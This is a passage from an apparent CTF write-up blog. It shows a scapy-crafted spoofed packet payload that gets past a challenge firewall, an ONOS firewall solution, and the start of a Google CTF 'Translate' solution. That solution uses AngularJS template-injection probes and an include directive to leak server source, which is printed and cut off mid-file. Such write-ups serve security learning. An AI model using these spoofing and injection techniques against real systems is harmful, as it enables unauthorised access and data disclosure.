<p>I thought a packet matching any of these rules would pass the firewall, so created crafted packet with scapy which has <code class="highlighter-rouge">10.1.7.8</code> as source IP and <code class="highlighter-rouge">5555</code> as source port.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">21</span><span class="p">]:</span> <span class="n">a</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span><span class="o">=</span><span class="s">"10.1.7.8"</span><span class="p">,</span> <span class="n">dst</span><span class="o">=</span><span class="s">"10.0.0.1"</span><span class="p">)</span><span class="o">/</span><span class="n">UDP</span><span class="p">(</span><span class="n">sport</span><span class="o">=</span><span class="mi">5555</span><span class="p">,</span><span class="n">dport</span><span class="o">=</span><span class="mi">22136</span><span class="p">)</span><span class="o">/</span><span class="s">"secret"</span>
<span class="n">In</span> <span class="p">[</span><span class="mi">22</span><span class="p">]:</span> <span class="n">a</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">22</span><span class="p">]:</span> <span class="o"><</span><span class="n">IP</span> <span class="n">frag</span><span class="o">=</span><span class="mi">0</span> <span class="n">proto</span><span class="o">=</span><span class="n">udp</span> <span class="n">src</span><span class="o">=</span><span class="mf">10.1</span><span class="o">.</span><span class="mf">7.8</span> <span class="n">dst</span><span class="o">=</span><span class="mf">10.0</span><span class="o">.</span><span class="mf">0.1</span> <span class="o">|<</span><span class="n">UDP</span> <span class="n">sport</span><span class="o">=</span><span class="n">personal_agent</span> <span class="n">dport</span><span class="o">=</span><span class="mi">22136</span> <span class="o">|<</span><span class="n">Raw</span> <span class="n">load</span><span class="o">=</span><span class="s">'secret'</span> <span class="o">|>>></span>
<span class="n">In</span> <span class="p">[</span><span class="mi">23</span><span class="p">]:</span> <span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">23</span><span class="p">]:</span> <span class="s">'450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574'</span>
</code></pre></div></div>
<p>I put payload <code class="highlighter-rouge">450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574</code> and got flag.</p>
<p><code class="highlighter-rouge">SCTF{Sp00f_7h3_p4ck3t_70_dr1ll_pr1v4t3_n37w0rk}</code></p>
<h2 id="not_open_network">Not Open Network</h2>
<blockquote>
<p>You are the network admin of a black market service.
You want to setup a firewall to protect the servers from hackers and police.
Your servers use IPs in 10.0.0.0/16 range.</p>
<ul>
<li>Drop all incoming packets except the ones heading to port 80.</li>
<li>Drop all packets containing string ‘police’, case insensitive.</li>
<li>All other packets are sent to correct destinations.
You may assume that there will be TCP packets only.</li>
</ul>
</blockquote>
<p>In this challenge I had to set up ONOS environment by reading <a href="http://sdn.eatpwnnosleep.com/start">Getting started page</a>.</p>
<p>After some trying on ONOS development, I found that the task is to write firewall at <code class="highlighter-rouge">AppComponent::MyPacketProcessor::process</code> in <code class="highlighter-rouge">devenv/env/myapp/src/main/java/com/example/myapp/AppComponent.java</code> to satisfy the problem description.</p>
<p>Of course I don’t know about ONOS, I’ve refered some documents and finally passed with following code:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">...</span>
<span class="kn">import</span> <span class="nn">org.onlab.packet.*</span><span class="o">;</span>
<span class="o">...</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">MyPacketProcessor</span> <span class="kd">implements</span> <span class="n">PacketProcessor</span> <span class="o">{</span>
<span class="c1">// This method is invoked whenever we receive a packet</span>
<span class="c1">// that is not matched in the routing tables.</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">process</span><span class="o">(</span><span class="n">PacketContext</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Return if another app has already dealt with this packet.</span>
<span class="k">if</span> <span class="o">(</span><span class="n">context</span><span class="o">.</span><span class="na">isHandled</span><span class="o">())</span>
<span class="k">return</span><span class="o">;</span>
<span class="n">InboundPacket</span> <span class="n">pkt</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">inPacket</span><span class="o">();</span>
<span class="n">Ethernet</span> <span class="n">ethPkt</span> <span class="o">=</span> <span class="n">pkt</span><span class="o">.</span><span class="na">parsed</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">ethPkt</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span>
<span class="k">return</span><span class="o">;</span>
<span class="c1">// begin added code</span>
<span class="k">if</span> <span class="o">(</span><span class="n">ethPkt</span><span class="o">.</span><span class="na">getEtherType</span><span class="o">()</span> <span class="o">==</span> <span class="n">Ethernet</span><span class="o">.</span><span class="na">TYPE_IPV4</span><span class="o">)</span> <span class="o">{</span>
<span class="n">IPv4</span> <span class="n">ippkt</span> <span class="o">=</span> <span class="o">(</span><span class="n">IPv4</span><span class="o">)</span><span class="n">ethPkt</span><span class="o">.</span><span class="na">getPayload</span><span class="o">();</span>
<span class="kt">int</span> <span class="n">ip</span> <span class="o">=</span> <span class="n">ippkt</span><span class="o">.</span><span class="na">getDestinationAddress</span><span class="o">();</span>
<span class="kt">int</span> <span class="n">oct1</span> <span class="o">=</span> <span class="o">(</span><span class="n">ip</span> <span class="o">>></span> <span class="o">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">3</span><span class="o">))</span> <span class="o">&</span> <span class="mh">0xff</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">oct2</span> <span class="o">=</span> <span class="o">(</span><span class="n">ip</span> <span class="o">>></span> <span class="o">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">2</span><span class="o">))</span> <span class="o">&</span> <span class="mh">0xff</span><span class="o">;</span>
<span class="kt">boolean</span> <span class="n">toserver</span> <span class="o">=</span> <span class="o">(</span><span class="n">oct1</span> <span class="o">==</span> <span class="mi">10</span> <span class="o">&&</span> <span class="n">oct2</span> <span class="o">==</span> <span class="mi">0</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="n">ippkt</span><span class="o">.</span><span class="na">getProtocol</span><span class="o">()</span> <span class="o">==</span> <span class="n">IPv4</span><span class="o">.</span><span class="na">PROTOCOL_TCP</span><span class="o">)</span> <span class="o">{</span>
<span class="n">TCP</span> <span class="n">tcp</span> <span class="o">=</span> <span class="o">(</span><span class="n">TCP</span><span class="o">)</span><span class="n">ippkt</span><span class="o">.</span><span class="na">getPayload</span><span class="o">();</span>
<span class="k">if</span> <span class="o">((</span><span class="k">new</span> <span class="n">String</span><span class="o">(</span><span class="n">tcp</span><span class="o">.</span><span class="na">serialize</span><span class="o">())).</span><span class="na">indexOf</span><span class="o">(</span><span class="s">"police"</span><span class="o">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">if</span> <span class="o">(</span><span class="n">toserver</span> <span class="o">&&</span> <span class="n">tcp</span><span class="o">.</span><span class="na">getDestinationPort</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">80</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="c1">// end added code</span>
<span class="n">allowPacket</span><span class="o">(</span><span class="n">context</span><span class="o">,</span> <span class="n">ethPkt</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">...</span>
</code></pre></div></div>
<p>note that you have to serialize <code class="highlighter-rouge">TCP</code> object to check content. (<code class="highlighter-rouge">.toString</code> doesn’t work)</p>
<p><code class="highlighter-rouge">SCTF{The_B4sic_0f_SDN_4pp}</code></p>icchyI’m very surprised that only 832 points is ranked in 10th…Google CTF 2018 Quals TRANSLATE2018-06-29T00:00:00+00:002018-06-29T00:00:00+00:00https://blog.tonkatsu.info/ctf/2018/06/29/googlectf-2018-quals-translate<blockquote>
<p>Client-side rendering, but not in a browser! Get the flag in ./flag.txt, and seeing the source will likely help.</p>
</blockquote>
<p>This challenge is absolutely server-side challenge but also related to AngularJS. AngularJS is front-end web application framework but this year Google CTF organizer combined these stuff into an interesting server-side web challenge. This reminds me last year’s “The X Sanitizer” which contains service worker behaving as a local server but actually that was a XSS challenge :)</p>
<h2 id="overview">Overview</h2>
<p>Anyway, let’s take a look into challenge files:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nx">location</span><span class="o">=</span><span class="s1">'http://translate.ctfcompetition.com:1337'</span><span class="nt"></script></span>
</code></pre></div></div>
<p><img src="/assets/googlectf-2018-quals-2018-translate/index.png" alt="index.png" /></p>
<p>It seems like a translator application between French and English. Here is list functions for this challenge.</p>
<ul>
<li>translation (francais, english)
<ul>
<li>supports French and English</li>
<li>translating <code class="highlighter-rouge">informatique en nuage</code> to French, it says:<br />
<img src="/assets/googlectf-2018-quals-2018-translate/translation.png" alt="translation.png" width="80%" /></li>
</ul>
</li>
<li>add words
<ul>
<li>user can register new translation.<br />
<img src="/assets/googlectf-2018-quals-2018-translate/add_words1.png" alt="add_words1.png" width="40%" /></li>
<li>there is interesting error on trying to add non-existent language.<br />
<img src="/assets/googlectf-2018-quals-2018-translate/add_words2.png" alt="add_words2.png" width="80%" />
<ul>
<li>actually there is no directory traversal stuff here :(</li>
</ul>
</li>
</ul>
</li>
<li>debug translations
<ul>
<li>there is internal data on <code class="highlighter-rouge">debug translations</code>:<br />
<img src="/assets/googlectf-2018-quals-2018-translate/debug.png" alt="debug.png" /></li>
</ul>
</li>
<li>reset challenge
<ul>
<li>remove all translation entry added by user</li>
</ul>
</li>
</ul>
<p>So this application seems to use two object holding translation map.</p>
<h2 id="vulnerability">Vulnerability</h2>
<p>Some interesting string included as you can see in debug translations : <strong>{{userQuery}}</strong><br />
The object key of this value is <code class="highlighter-rouge">in_lang_query_is_spelled</code>. Just translating this word, it says</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In french, <b>{{userQuery}}</b> is spelled <b ng-bind="i18n.word(userQuery)"></b>..
</code></pre></div></div>
<p>this is same text as you can see in translation result.
<img src="/assets/googlectf-2018-quals-2018-translate/trans.png" alt="trans.png" width="80%" /></p>
<p>So what will happen on updating this key? AngularJS uses double curly braces as template tag, let’s try update this key (actually word) with <code class="highlighter-rouge">{{1 + 1}}</code>.</p>
<p><img src="/assets/googlectf-2018-quals-2018-translate/inject1.png" alt="inject1.png" width="50%" />
<img src="/assets/googlectf-2018-quals-2018-translate/inject2.png" alt="inject2.png" width="40%" /></p>
<p>And it shows <code class="highlighter-rouge">2</code> on translating something. Also <code class="highlighter-rouge">input_query</code> key is also vulnable. This key is better because you can see in query window (you don’t have to query translate).</p>
<p><code class="highlighter-rouge">{{1 + 1}}</code><br />
<img src="/assets/googlectf-2018-quals-2018-translate/inject3.png" alt="inject3.png" width="40%" /></p>
<p>On trying some invalid expression, also I got an error including AngularJS version.</p>
<p><code class="highlighter-rouge">{{{}}}}</code><br />
<img src="/assets/googlectf-2018-quals-2018-translate/error.png" alt="error.png" /></p>
<p>Then it seems to be server-side template injection. Next step is to get source code as the description says.</p>
<p>Looking into html, I found the tag something like AngularJS directive:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><div</span> <span class="na">my-include=</span><span class="s">"static/footer.html"</span><span class="nt">></span>
</code></pre></div></div>
<p>maybe this tag would work like <code class="highlighter-rouge">ng-include</code>. So tried to leak <code class="highlighter-rouge">/usr/local/chall/srcs/server.js</code> putting <code class="highlighter-rouge"><div my-include="srcs/server.js"></code> and it works, but it couldn’t leak <code class="highlighter-rouge">./flag.txt</code>.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ./srcs/server.js</span>
<span class="kd">const</span> <span class="nx">cookieParser</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'cookie-parser'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">uuidv4</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'uuid/v4'</span><span class="p">);</span>
<span class="c1">// note: To let Domino run in there,</span>
<span class="c1">// sed -i "61s/\'use strict\'//" node_modules/vm2/lib/sandbox.js</span>
<span class="kd">const</span> <span class="p">{</span><span class="nx">NodeVM</span><span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'vm2'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">restrictedFs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'./restricted_fs.js'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">Memcache</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'memcached-promisify'</span><span class="p">);</span>
<span class="c1">////////////////////////////////</span>
<span class="c1">// Memcache functions</span>
<span class="c1">////////////////////////////////</span>
<span class="kd">const</span> <span class="nx">memcache</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Memcache</span><span class="p">({</span><span class="s1">'cacheHost'</span><span class="p">:</span> <span class="s1">'127.0.0.1:11211'</span><span class="p">});</span>
<span class="kd">function</span> <span class="nx">read_dictionary</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">key</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">id</span><span class="p">}</span><span class="s2">_</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">memcache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">result</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">result</span><span class="p">)</span>
<span class="k">return</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s2">`i18n/</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">.json`</span><span class="p">));</span>
<span class="k">return</span> <span class="nx">result</span><span class="p">;</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">write_dictionary</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">lang</span><span class="p">,</span> <span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">key</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">id</span><span class="p">}</span><span class="s2">_</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">memcache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="mi">1</span><span class="o">*</span><span class="mi">60</span><span class="o">*</span><span class="mi">60</span> <span class="cm">/*1 hour*/</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="s2">`</span><span class="p">${</span><span class="nx">id</span><span class="p">}</span><span class="s2">_</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">delete_dictionary</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">key</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">id</span><span class="p">}</span><span class="s2">_</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">memcache</span><span class="p">.</span><span class="nx">del</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="k">catch</span><span class="p">(</span><span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">////////////////////////////////</span>
<span class="c1">// Renderer utilities</span>
<span class="c1">////////////////////////////////</span>
<span class="kd">function</span> <span class="nx">renderHtml</span><span class="p">(</span><span class="nx">html</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">response</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s1">'static/header.html'</span><span class="p">);</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">html</span><span class="p">;</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s1">'static/footer.html'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">response</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">renderStatic</span><span class="p">(</span><span class="nx">relativePath</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">response</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s1">'static/header.html'</span><span class="p">);</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">relativePath</span><span class="p">);</span>
<span class="nx">response</span> <span class="o">+=</span> <span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s1">'static/footer.html'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">response</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">renderError</span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">renderHtml</span><span class="p">(</span><span class="s2">`
Something broke: </span><span class="p">${</span><span class="nx">error</span><span class="p">}</span><span class="s2"><hr>
<a href="/reset">reset the challenge</a> or <a href="/">go back</a>`</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">renderWithAngular</span><span class="p">(</span><span class="nx">givenScope</span><span class="p">,</span> <span class="nx">lang</span><span class="p">,</span> <span class="nx">fs</span><span class="p">,</span> <span class="nx">ip</span><span class="p">)</span> <span class="p">{</span>
<span class="k">try</span> <span class="p">{</span>
<span class="c1">// Remember the AngularJS sandbox? Only 2010's kids remember.</span>
<span class="kd">const</span> <span class="nx">sandbox</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NodeVM</span> <span class="p">({</span>
<span class="na">require</span><span class="p">:</span> <span class="p">{</span>
<span class="na">external</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">builtin</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">root</span><span class="p">:</span> <span class="s2">"./"</span><span class="p">,</span>
<span class="na">import</span><span class="p">:</span> <span class="p">[</span>
<span class="s2">`./srcs/sandboxed/angularjs_for_domino.js`</span><span class="p">,</span>
<span class="s2">`./srcs/sandboxed/app.js`</span><span class="p">,</span>
<span class="s2">`domino`</span>
<span class="p">],</span>
<span class="na">context</span><span class="p">:</span> <span class="s1">'sandbox'</span><span class="p">,</span>
<span class="p">},</span>
<span class="na">sandbox</span><span class="p">:</span> <span class="p">{},</span>
<span class="p">});</span>
<span class="kd">let</span> <span class="nx">ds</span> <span class="o">=</span> <span class="k">async</span> <span class="p">(</span><span class="nx">lang</span><span class="p">)</span> <span class="o">=></span> <span class="kr">await</span> <span class="nx">read_dictionary</span><span class="p">(</span><span class="nx">ip</span><span class="p">,</span> <span class="nx">lang</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">renderAngularApp</span> <span class="o">=</span> <span class="nx">sandbox</span><span class="p">.</span><span class="nx">run</span><span class="p">(</span><span class="s2">`
const domino = require('domino');
const initAngularJS = require('./srcs/sandboxed/angularjs_for_domino.js');
const angularApp = require('./srcs/sandboxed/app.js');
const I18n = require('./srcs/sandboxed/i18n.js');
module.exports = async (givenScope, lang, fs, ds) => {
const i18n = I18n.build(fs, ds);
const window = domino.createWindow(
await i18n.forTemplateWithLang(lang, './templates/template.html'),
'nowhere://¯\\_(ツ)_/¯');
initAngularJS(window);
try {
await angularApp(window, givenScope, i18n, lang);
return window.document.innerHTML;
} catch (error) {
return '' +
'You broke my AngularJS :( ' + error + '<hr>' +
'<a href="/reset">reset the challenge</a> or <a href="/">go back</a>' +
'';
}
}
`</span><span class="p">,</span> <span class="s1">'server.js'</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">renderAngularApp</span><span class="p">(</span><span class="nx">givenScope</span><span class="p">,</span> <span class="nx">lang</span><span class="p">,</span> <span class="nx">restrictedFs</span><span class="p">,</span> <span class="nx">ds</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">renderError</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">////////////////////////////////</span>
<span class="c1">// Server setup</span>
<span class="c1">////////////////////////////////</span>
<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">LANG</span> <span class="o">=</span> <span class="s1">'en'</span><span class="p">;</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s1">'trust proxy'</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">cookieParser</span><span class="p">());</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">sid</span> <span class="o">&&</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">sid</span><span class="p">.</span><span class="nx">toString</span><span class="p">().</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^</span><span class="se">[</span><span class="sr">0-9a-f-</span><span class="se">]</span><span class="sr">+$/</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">uid</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">sid</span><span class="o">+</span><span class="s1">''</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">uid</span> <span class="o">=</span> <span class="nx">uuidv4</span><span class="p">();</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">uid</span> <span class="o">=</span> <span class="nx">uid</span><span class="p">;</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">cookie</span><span class="p">(</span><span class="s1">'sid'</span><span class="p">,</span> <span class="nx">uid</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">next</span><span class="p">();</span>
<span class="p">});</span>
<span class="c1">////////////////////////////////</span>
<span class="c1">// Routing</span>
<span class="c1">////////////////////////////////</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">lang</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'lang'</span><span class="p">]</span> <span class="p">?</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'lang'</span><span class="p">]</span> <span class="p">:</span> <span class="nx">LANG</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">userQuery</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'query'</span><span class="p">]</span> <span class="p">?</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'query'</span><span class="p">]</span> <span class="p">:</span> <span class="kc">null</span><span class="p">;</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="kr">await</span> <span class="nx">renderWithAngular</span><span class="p">({</span><span class="na">userQuery</span><span class="p">:</span><span class="nx">userQuery</span><span class="p">},</span> <span class="nx">lang</span><span class="p">,</span> <span class="nx">restrictedFs</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">));</span>
<span class="p">});</span>
<span class="c1">// Append to the dictionnaries</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s1">'/add'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="p">[</span><span class="nx">word</span><span class="p">,</span> <span class="nx">translated</span><span class="p">,</span> <span class="nx">lang</span><span class="p">]</span> <span class="o">=</span>
<span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'word'</span><span class="p">],</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'translated'</span><span class="p">],</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">[</span><span class="s1">'lang'</span><span class="p">]];</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">word</span> <span class="o">&&</span> <span class="nx">translated</span> <span class="o">&&</span> <span class="nx">lang</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">defaultTranslations</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">restrictedFs</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="s2">`i18n/</span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">.json`</span><span class="p">));</span>
<span class="nx">read_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="nx">lang</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">translations</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">translations</span><span class="p">)</span>
<span class="nx">translations</span> <span class="o">=</span> <span class="nx">defaultTranslations</span><span class="p">;</span>
<span class="nx">translations</span><span class="p">[</span><span class="nx">word</span><span class="p">]</span> <span class="o">=</span> <span class="nx">translated</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">write_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="nx">lang</span><span class="p">,</span> <span class="nx">translations</span><span class="p">);</span>
<span class="p">}).</span><span class="nx">then</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">renderHtml</span><span class="p">(</span>
<span class="s2">`wrote down that </span><span class="p">${</span><span class="nx">word</span><span class="p">}</span><span class="s2"> translates to </span><span class="p">${</span><span class="nx">translated</span><span class="p">}</span><span class="s2"> in </span><span class="p">${</span><span class="nx">lang</span><span class="p">}</span><span class="s2">.
<a href="/">go back</a>`</span><span class="p">));</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">((</span><span class="nx">e</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">renderError</span><span class="p">(</span><span class="nx">e</span><span class="p">));</span>
<span class="p">});</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">renderStatic</span><span class="p">(</span><span class="s1">'/static/add.html'</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="c1">// Display the dictionnaries</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s1">'/dump'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">en</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">read_dictionary</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span> <span class="s1">'en'</span><span class="p">);</span>
